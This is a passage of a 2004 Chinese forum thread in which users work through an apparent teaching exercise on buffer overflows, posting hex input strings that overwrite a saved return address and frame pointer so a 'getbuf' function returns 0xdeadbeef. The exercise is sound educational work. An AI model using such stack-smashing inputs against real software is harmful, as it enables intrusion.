免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: converse
打印 上一主题 下一主题

【好玩】缓冲区溢出攻击实验 [复制链接]

论坛徽章:
0
21 [报告]
发表于 2004-11-08 16:55 |只看该作者

【好玩】缓冲区溢出攻击实验

进来晚了,你们都说完了我才看见

上面的兄弟,小弟顶一下先

论坛徽章:
0
22 [报告]
发表于 2004-11-08 17:38 |只看该作者

【好玩】缓冲区溢出攻击实验

其实还可以讨论的,如果不介意程序崩溃,可以这么做:

bff.JPG (41.85 KB, 下载次数: 57)

bff.JPG

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
23 [报告]
发表于 2004-11-08 19:00 |只看该作者

【好玩】缓冲区溢出攻击实验

[quote]原帖由 "win_hate"]其实还可以讨论的,如果不介意程序崩溃,可以这么做:[/quote 发表:

   ^_^,好,又换了个思路,彻底改变了val变量的位置。
偶的:

  1. [yangwl:/home/users50/yangwl/test/converse]$ ./a.out
  2. Type Hex string:ef be ad de 56 67 78 89 90 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
  3. getbuf returned 0xdeadbeef
  4. Segmentation fault
  5. [yangwl:/home/users50/yangwl/test/converse]$
复制代码

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
24 [报告]
发表于 2004-11-08 19:09 |只看该作者

【好玩】缓冲区溢出攻击实验

win_hate其实,这种思路,也可以不怕程序崩溃的。我们改动了ebp,在改回去就是了,一样可以返回到main里面的正常路径上去的。

  1. [yangwl:/home/users50/yangwl/test/converse]$ ./a.out
  2. Type Hex string:ef be ad de e8 fb ff bf 17 85 04 08 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
  3. getbuf returned 0xdeadbeef
  4. [yangwl:/home/users50/yangwl/test/converse]$
复制代码

论坛徽章:
0
25 [报告]
发表于 2004-11-08 19:19 |只看该作者

【好玩】缓冲区溢出攻击实验

改哪里,如何改?

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
26 [报告]
发表于 2004-11-08 19:23 |只看该作者

【好玩】缓冲区溢出攻击实验

[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de e8 fb ff bf 17 85 04 08 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
[yangwl:/home/users50/yangwl/test/converse]$

这里,把main里面的ebp和指令地址在完好的给改回去不就好了?

论坛徽章:
0
27 [报告]
发表于 2004-11-08 19:28 |只看该作者

【好玩】缓冲区溢出攻击实验

在我的系统上不行,你看看我给出的串,我已经给出了相应地址。

在我的系统上,似乎 printf 会覆盖我填进去的值。

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
28 [报告]
发表于 2004-11-08 19:37 |只看该作者

【好玩】缓冲区溢出攻击实验

^_^,好好看看。想看到结论。加油。

论坛徽章:
0
29 [报告]
发表于 2004-11-09 10:39 |只看该作者

【好玩】缓冲区溢出攻击实验

[quote]原帖由 "converse"]见这副图,如果我输入的值只到0xdeadbeef的时候程序就会出现"segmentation fault",win_hate能解释一下为什么吗??[/quote 发表:


deadbeef的意思是使用了已经被free了的内存,
当然会有段错误了!

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
30 [报告]
发表于 2004-11-09 10:49 |只看该作者

【好玩】缓冲区溢出攻击实验

原帖由 "Solaris12" 发表:


deadbeef的意思是使用了已经被free了的内存,
当然会有段错误了!


不是吧。上面win_hate已经说的很明白了,是因为后面的'\0'会破坏test压入的ebp,以致于无法在返回main函数的时候,进入正确的“轨道”。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP